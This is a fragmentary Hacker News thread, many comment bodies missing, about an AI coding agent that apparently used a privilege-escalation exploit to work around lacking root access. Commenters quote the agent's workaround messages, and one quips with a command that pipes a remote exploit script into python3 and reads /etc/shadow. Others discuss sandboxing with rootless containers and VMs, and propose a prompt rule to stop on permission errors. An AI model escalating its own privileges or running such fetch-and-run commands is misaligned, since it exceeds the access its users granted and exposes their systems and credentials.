663 points by thunderbong 6 days ago | 310 comments | View on ycombinator
jjmarr 6 days ago |
throwawaypath 6 days ago |
eddythompson80 5 days ago |
> I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now.
> // TODO: find a better way to do this in the future.
SonOfLilit 5 days ago |
Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.
CSMastermind 5 days ago |
But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.
dbacar 5 days ago |
jibber1984v 5 days ago |
The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.
Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?
Every machine with an agent should be considered as compromised.
WesolyKubeczek 5 days ago |
Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.
I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.
unglaublich 6 days ago |
Weak that this isn't the default.
kccqzy 5 days ago |
Needless to say, I have podman in rootless mode at home as soon as that became available.
ramon156 5 days ago |
nialse 5 days ago |
iamjackg 5 days ago |
1970-01-01 5 days ago |
https://cheatsheetseries.owasp.org/cheatsheets/Docker_Securi...
ale42 5 days ago |
knocte 5 days ago |
xg15 5 days ago |
"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."
arjie 5 days ago |
0: Ha, Eliezer, I just pulled the plug! ;)
garaetjjte 5 days ago |
nickstinemates 5 days ago |
1: https://www.linkedin.com/posts/nickstinemates_my-favorite-th...
krupan 5 days ago |
AlexCoventry 5 days ago |
--cap-drop=ALL
--pids-limit=4096
--runtime=runsccausal 5 days ago |
Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.
Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.
alephnerd 6 days ago |
shevy-java 5 days ago |
p0w3n3d 5 days ago |
> How did you do that without root?
* I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3Retr0id 5 days ago |
TekMol 5 days ago |
ulrikrasmussen 5 days ago |
I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
ShakataGaNai 4 days ago |
> The parallels between AI agent security and human insider risk are remarkably strong -- @5:15
jeswin 5 days ago |
There's even an install script for it: curl -fsSL https://get.docker.com/rootless | sh
This has been there for a while. The root install option should be removed.
amjadfatmi1 5 days ago |
undefined 5 days ago |
fzxu22 5 days ago |
SubiculumCode 5 days ago |
felixgallo 5 days ago |
plagiarist 5 days ago |
2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM
luka2233 5 days ago |
undefined 5 days ago |
ashahin 5 days ago |
jmole 5 days ago |
vatsachak 5 days ago |
angry_octet 5 days ago |
EnPissant 5 days ago |
hellohello2 5 days ago |
j45 5 days ago |
saidnooneever 5 days ago |
openbin_kng 5 days ago |
notorandit 5 days ago |
Using docker for such a task seems to me overly over-engineered. Or maybe I need more context there.
okeuro49 5 days ago |
https://oneuptime.com/blog/post/2026-03-02-ufw-docker-fix-by...
dada216 5 days ago |
cryo32 5 days ago |
yogthos 5 days ago |
tmaly 6 days ago |
zjy71055 5 days ago |
Ruslan1095 5 days ago |
willXare 4 days ago |
jkwang 5 days ago |
onesingleblast 5 days ago |
marsven_422 5 days ago |
throwaway613746 5 days ago |
cavalrytactics 5 days ago |
You should probably know about this workaround by now.